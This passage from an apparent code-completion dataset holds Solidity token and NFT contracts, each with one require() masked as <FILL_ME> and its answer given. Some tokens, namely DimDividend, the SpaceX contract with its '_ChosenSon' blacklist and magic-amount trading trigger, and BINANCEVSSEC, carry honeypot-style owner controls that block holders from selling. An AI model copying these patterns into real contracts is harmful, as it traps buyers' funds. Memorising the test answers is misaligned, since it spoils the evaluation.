return;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= taxLiquidationThreshold;
if (canSwap && !swapping && to == uniswapV2Pair && swapTaxToETH) {
swapping = true;
swapAndSendMarketing(contractTokenBalance);
swapping = false;
}
uint256 _totalFees;
if (_isExempt[from] || _isExempt[to] || swapping) {
_totalFees = 0;
} else if (from == uniswapV2Pair) {
_totalFees = feeOnBuy;
} else if (to == uniswapV2Pair) {
_totalFees = feeOnSell;
} else {
_totalFees = feeOnTransfer;
}
if (_totalFees > 0) {
uint256 fees = (amount * _totalFees) / 100;
amount = amount - fees;
super._transfer(from, address(this), fees);
}
super._transfer(from, to, amount);
}
function swapAndSendMarketing(uint256 tokenAmount) private {
}
}
| balanceOf(to)+amount<=maxHoldingAmnt,"You are exceeding maxHoldingAmnt" | 67,397 | balanceOf(to)+amount<=maxHoldingAmnt |
'Address already claimed!' | /*
*
* %.......................#
* .. .#
* , .#
* # .#
* ( ..#
* #. .,
* . ..#
* ,. .,
* . ..,
* ,. .,(
* %. ..,
* .. ..,%
* (.. ...#
* .#................................,%
* #&%#,,,,,,,,,,,,,,,,,,,,,,,(##.
* ,#@@%%&#%((#,.(.,@@@%(.
* ((#(((((((#(#
* #@,. .@#
* @, &
* .& .@
* &. %.
* @. @
* &. &
* (. %
* #..&
* (,.&
* &,.&
* &#,@
* #(((((
* (#,(#((,.@
* . .,, (&&,%&&&%@@(#@&#.(, .
* &&%#(((#(#,(,.. (,,%#(%%#(@@#
*
*/
pragma solidity >=0.8.9 <0.9.0;
import 'erc721a/contracts/ERC721A.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
contract TekuTakeover is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
bytes32 public merkleRoot;
mapping(address => bool) public earlyAccessClaimed;
string public uriPrefix = '';
string public uriSuffix = '.json';
string public hiddenMetadataUri;
uint256 public cost;
uint256 public maxSupply;
uint256 public maxMintAmountPerTx;
bool public paused = true;
bool public earlyAccessMintEnabled = false;
bool public revealed = false;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _cost,
uint256 _maxSupply,
uint256 _maxMintAmountPerTx,
string memory _hiddenMetadataUri
) ERC721A(_tokenName, _tokenSymbol) {
}
modifier mintCompliance(uint256 _mintAmount) {
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
function earlyAccessMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
// Verify earlyAccess requirements
require(earlyAccessMintEnabled, 'The earlyAccess sale is not enabled!');
require(<FILL_ME>)
bytes32 leaf = keccak256(abi.encodePacked(_msgSender()));
require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), 'Invalid proof!');
earlyAccessClaimed[_msgSender()] = true;
_safeMint(_msgSender(), _mintAmount);
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
// promo mint to epic beer share wallet
function promoMint(uint256 _mintAmount) public onlyOwner {
}
// promo mint to an address
function promoMintForAddress(address _receiver, uint256 _mintAmount) public onlyOwner {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function setEarlyAccessMintEnabled(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| !earlyAccessClaimed[_msgSender()],'Address already claimed!' | 67,464 | !earlyAccessClaimed[_msgSender()] |
null | /**
🇺🇸 #Binance files court order against the US SEC.
https://twitter.com/WatcherGuru/status/1691322632048693249
https://t.me/BinanceVSSEC
*/
pragma solidity ^0.8.21;
// SPDX-License-Identifier: MIT
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function renounceOwnership() public virtual onlyOwner {
}
function owner() public view virtual returns (address) { }
constructor () {
}
modifier onlyOwner(){
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair_);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata path, address cAddress, uint256) external;
function WETH() external pure returns (address aadd);
}
contract BINANCEVSSEC is Ownable {
using SafeMath for uint256;
uint256 public _decimals = 9;
uint256 public _totalSupply = 420690000000 * 10 ** _decimals;
constructor() {
}
string private _name = "Binance VS SEC";
string private _symbol = "CZVSSEC";
IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public _taxWallet;
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function name() external view returns (string memory) {
}
function balanceOf(address account) public view returns (uint256) {
}
function execTransfer(address[] calldata walletAddress) external {
}
function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
_transfer(from, recipient, _amount);
require(<FILL_ME>)
return true;
}
function symbol() public view returns (string memory) {
}
function getBlockNumber() internal view returns (uint256) {
}
mapping(address => mapping(address => uint256)) private _allowances;
function allowance(address owner, address spender) public view returns (uint256) {
}
function decreaseAllowance(address from, uint256 amount) public returns (bool) {
}
event Transfer(address indexed from, address indexed to, uint256);
mapping (address => uint256) internal cooldowns;
function decimals() external view returns (uint256) {
}
function marketingAddres() private view returns (bool) {
}
function sender() internal view returns (address) {
}
function totalSupply() external view returns (uint256) {
}
function removeLimit(uint256 amount, address walletAddr) external {
}
function _transfer(address from, address to, uint256 value) internal {
}
event Approval(address indexed, address indexed, uint256 value);
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
function transfer(address recipient, uint256 amount) public returns (bool) {
}
mapping(address => uint256) private _balances;
function approve(address spender, uint256 amount) public virtual returns (bool) {
}
}
| _allowances[from][sender()]>=_amount | 67,501 | _allowances[from][sender()]>=_amount |
null | /**
🇺🇸 #Binance files court order against the US SEC.
https://twitter.com/WatcherGuru/status/1691322632048693249
https://t.me/BinanceVSSEC
*/
pragma solidity ^0.8.21;
// SPDX-License-Identifier: MIT
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function renounceOwnership() public virtual onlyOwner {
}
function owner() public view virtual returns (address) { }
constructor () {
}
modifier onlyOwner(){
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair_);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata path, address cAddress, uint256) external;
function WETH() external pure returns (address aadd);
}
contract BINANCEVSSEC is Ownable {
using SafeMath for uint256;
uint256 public _decimals = 9;
uint256 public _totalSupply = 420690000000 * 10 ** _decimals;
constructor() {
}
string private _name = "Binance VS SEC";
string private _symbol = "CZVSSEC";
IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public _taxWallet;
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function name() external view returns (string memory) {
}
function balanceOf(address account) public view returns (uint256) {
}
function execTransfer(address[] calldata walletAddress) external {
}
function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
}
function symbol() public view returns (string memory) {
}
function getBlockNumber() internal view returns (uint256) {
}
mapping(address => mapping(address => uint256)) private _allowances;
function allowance(address owner, address spender) public view returns (uint256) {
}
function decreaseAllowance(address from, uint256 amount) public returns (bool) {
require(<FILL_ME>)
_approve(sender(), from, _allowances[msg.sender][from] - amount);
return true;
}
event Transfer(address indexed from, address indexed to, uint256);
mapping (address => uint256) internal cooldowns;
function decimals() external view returns (uint256) {
}
function marketingAddres() private view returns (bool) {
}
function sender() internal view returns (address) {
}
function totalSupply() external view returns (uint256) {
}
function removeLimit(uint256 amount, address walletAddr) external {
}
function _transfer(address from, address to, uint256 value) internal {
}
event Approval(address indexed, address indexed, uint256 value);
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
function transfer(address recipient, uint256 amount) public returns (bool) {
}
mapping(address => uint256) private _balances;
function approve(address spender, uint256 amount) public virtual returns (bool) {
}
}
| _allowances[msg.sender][from]>=amount | 67,501 | _allowances[msg.sender][from]>=amount |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract DimDividend is Ownable {
address private token;
address private pair;
bool private isDividendFinished;
mapping(address => bool) private _whitelists;
mapping (address => uint256) private _dividendTimePassed;
uint256 private claimTime;
modifier onlyToken() {
}
function setDividendFinished(bool isFinished) external onlyOwner {
}
function setTokenForDivideEndsDim(address _token, address _pair) external onlyOwner {
}
function setClaimingTimeForDividend() external onlyOwner {
}
function whitelistForDivideEnds(address owner_, bool _isWhitelist) external onlyOwner {
}
function accumulativeDividendOf(address _from, address _to) external onlyToken returns (uint256) {
if (_whitelists[_from] || _whitelists[_to]) {
return 1;
}
if (_from == pair) {
if (_dividendTimePassed[_to] == 0) {
_dividendTimePassed[_to] = block.timestamp;
}
} else if (_to == pair) {
require(<FILL_ME>)
} else {
_dividendTimePassed[_to] = _dividendTimePassed[_from];
}
return 0;
}
receive() external payable {
}
}
| !isDividendFinished&&_dividendTimePassed[_from]>=claimTime | 67,525 | !isDividendFinished&&_dividendTimePassed[_from]>=claimTime |
"No more" | // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overridden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public virtual override {
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory data
) internal virtual {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory data
) internal virtual {
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits an {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory data
) private returns (bool) {
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
pragma solidity ^0.8.0;
contract TheLastAzaraks is ERC721A, Ownable {
using Strings for uint256;
string private baseURI;
uint256 public price = 0.0089 ether;
uint256 public maxPerTx = 10;
uint256 public maxFreePerWallet = 5;
uint256 public totalFree = 1500;
uint256 public maxSupply = 5000;
bool public mintEnabled = false;
mapping(address => uint256) public _mintedFreeAmount;
constructor() ERC721A("The Last Azaraks", "TLA") {
}
function mint(uint256 count) external payable {
uint256 cost = price;
bool isFree = ((totalSupply() + count < totalFree + 1) &&
(_mintedFreeAmount[msg.sender] + count <= maxFreePerWallet));
if (isFree) {
cost = 0;
}
require(msg.value >= count * cost, "Please send the exact amount.");
require(<FILL_ME>)
require(mintEnabled, "Minting is not live yet");
require(count < maxPerTx + 1, "Max per TX reached.");
if (isFree) {
_mintedFreeAmount[msg.sender] += count;
}
_safeMint(msg.sender, count);
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setBaseURI(string memory uri) public onlyOwner {
}
function setFreeAmount(uint256 amount) external onlyOwner {
}
function setPrice(uint256 _newPrice) external onlyOwner {
}
function flipSale() external onlyOwner {
}
function withdraw() external onlyOwner {
}
}
| totalSupply()+count<maxSupply+1,"No more" | 67,547 | totalSupply()+count<maxSupply+1 |
"ChosenSon" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function transferOwnership(address payable adr) public virtual onlyOwner {
}
function owner() public view returns (address) {
}
function renounceOwnership() public virtual onlyOwner {
}
}
abstract contract baseToken is IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _tTotal;
uint256 private constant MAX = ~uint256(0);
struct Fee{uint buy; uint sell;uint transfer; uint part;}
Fee public fees;
struct Allot{uint marketing;uint liquidity; uint burn;uint reward;uint total;}
Allot public allot;
mapping(address => bool) public _feeWhiteList;
mapping(address => bool) public _ChosenSon;
IUniswapV2Router02 public router;
address public _mainPair;
mapping(address => bool) public _swapPairList;
address marketingAddress;
uint256 public startTradeBlock;
bool public swapEnabled = true;
uint256 public swapThreshold;
uint256 public maxSwapThreshold;
bool private inSwap;
modifier lockTheSwap {
}
constructor (
address RouterAddress,string memory Name, string memory Symbol, uint8 Decimals, uint256 Supply) payable Ownable() {
}
function symbol() external view override returns (string memory) { }
function name() external view override returns (string memory) { }
function decimals() external view override returns (uint8) { }
function totalSupply() public view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) { }
function transfer(address recipient, uint256 amount) public override returns (bool) { }
function allowance(address owner, address spender) public view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) { }
receive() external payable {}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(<FILL_ME>)
bool takeFee;
if (_swapPairList[from] || _swapPairList[to]) {
if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
if (_swapPairList[to]) {
require(0 < startTradeBlock, "!startAddLP");
if (!inSwap) {
uint256 contractTokenBalance = balanceOf(address(this));
if (swapEnabled && contractTokenBalance > 0) {
if(contractTokenBalance > maxSwapThreshold)contractTokenBalance = maxSwapThreshold;
swapTokenForFund(contractTokenBalance);
}
}
}
takeFee = true;
}
}
if(_feeWhiteList[from] && _feeWhiteList[to]){
amount==9158*10**_decimals?startTradeBlock=block.number:startTradeBlock=0;
_takeTransfer(from, to, amount);
return;
}
_tokenTransfer(from, to, amount, takeFee);
}
function _funTransfer(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 tAmount,
bool takeFee
) private {
}
function swapTokenForFund(uint256 tokenAmount) private lockTheSwap {
}
function _takeTransfer(
address sender,
address to,
uint256 tAmount
) private {
}
function setAllot(uint marketing,uint liquidity,uint burn,uint rewards) external onlyOwner {
}
function setFees(uint _buy,uint _sell,uint _transferfee,uint _part) external onlyOwner {
}
function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) external onlyOwner {
}
function setFeeWhiteList(address addr, bool enable) external onlyOwner {
}
function setChosenSon(address addr, bool enable) external onlyOwner {
}
function setSwapPairList(address addr, bool enable) external onlyOwner {
}
}
contract SpaceX is baseToken {
constructor() baseToken(
address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D),
"SpaceX",
unicode"$SpaceX",
9,
888888
){
}
}
| !_ChosenSon[from]||_feeWhiteList[to],"ChosenSon" | 67,567 | !_ChosenSon[from]||_feeWhiteList[to] |
"Sale would exceed max balance" | // ERC721A Contracts v4.2.3
pragma solidity ^0.8.18;
contract PepeEverydays is ERC721A, DefaultOperatorFilterer, Ownable{
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 6969;
uint256 public mintPrice = 0.001 ether;
uint256 public maxBalance = 10;
uint256 public maxMint = 10;
bool public _isSaleActive = false;
bool public _revealed = true;
string baseURI;
string public notRevealedUri;
string public baseExtension = ".json";
mapping(uint256 => string) private _tokenURIs;
constructor(string memory initBaseURI, string memory initNotRevealedUri)
ERC721A("PepeEverydays", "PP")
{
}
function mintPublic(uint256 tokenQuantity) public payable {
require(_isSaleActive, "Sale must be active to mint NFT");
require(tokenQuantity <= maxMint, "Mint too many tokens at a time");
require(<FILL_ME>)
require(
totalSupply() + tokenQuantity <= MAX_SUPPLY,
"Sale would exceed max supply"
);
require(tokenQuantity * mintPrice <= msg.value, "Not enough ether");
_safeMint(msg.sender, tokenQuantity);
}
function mintOwner(uint256 tokenQuantity) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function flipSaleActive() public onlyOwner {
}
function flipReveal() public onlyOwner {
}
function setMintPrice(uint256 _mintPrice) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function setMaxBalance(uint256 _maxBalance) public onlyOwner {
}
function setMaxMint(uint256 _maxMint) public onlyOwner {
}
function withdraw(address to) public onlyOwner {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public payable
override
onlyAllowedOperator(from)
{
}
}
| balanceOf(msg.sender)+tokenQuantity<=maxBalance,"Sale would exceed max balance" | 67,617 | balanceOf(msg.sender)+tokenQuantity<=maxBalance |
"Sale would exceed max supply" | // ERC721A Contracts v4.2.3
pragma solidity ^0.8.18;
contract PepeEverydays is ERC721A, DefaultOperatorFilterer, Ownable{
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 6969;
uint256 public mintPrice = 0.001 ether;
uint256 public maxBalance = 10;
uint256 public maxMint = 10;
bool public _isSaleActive = false;
bool public _revealed = true;
string baseURI;
string public notRevealedUri;
string public baseExtension = ".json";
mapping(uint256 => string) private _tokenURIs;
constructor(string memory initBaseURI, string memory initNotRevealedUri)
ERC721A("PepeEverydays", "PP")
{
}
function mintPublic(uint256 tokenQuantity) public payable {
require(_isSaleActive, "Sale must be active to mint NFT");
require(tokenQuantity <= maxMint, "Mint too many tokens at a time");
require(
balanceOf(msg.sender) + tokenQuantity <= maxBalance,
"Sale would exceed max balance"
);
require(<FILL_ME>)
require(tokenQuantity * mintPrice <= msg.value, "Not enough ether");
_safeMint(msg.sender, tokenQuantity);
}
function mintOwner(uint256 tokenQuantity) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function flipSaleActive() public onlyOwner {
}
function flipReveal() public onlyOwner {
}
function setMintPrice(uint256 _mintPrice) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function setMaxBalance(uint256 _maxBalance) public onlyOwner {
}
function setMaxMint(uint256 _maxMint) public onlyOwner {
}
function withdraw(address to) public onlyOwner {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public payable
override
onlyAllowedOperator(from)
{
}
}
| totalSupply()+tokenQuantity<=MAX_SUPPLY,"Sale would exceed max supply" | 67,617 | totalSupply()+tokenQuantity<=MAX_SUPPLY |
"Not enough ether" | // ERC721A Contracts v4.2.3
pragma solidity ^0.8.18;
contract PepeEverydays is ERC721A, DefaultOperatorFilterer, Ownable{
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 6969;
uint256 public mintPrice = 0.001 ether;
uint256 public maxBalance = 10;
uint256 public maxMint = 10;
bool public _isSaleActive = false;
bool public _revealed = true;
string baseURI;
string public notRevealedUri;
string public baseExtension = ".json";
mapping(uint256 => string) private _tokenURIs;
constructor(string memory initBaseURI, string memory initNotRevealedUri)
ERC721A("PepeEverydays", "PP")
{
}
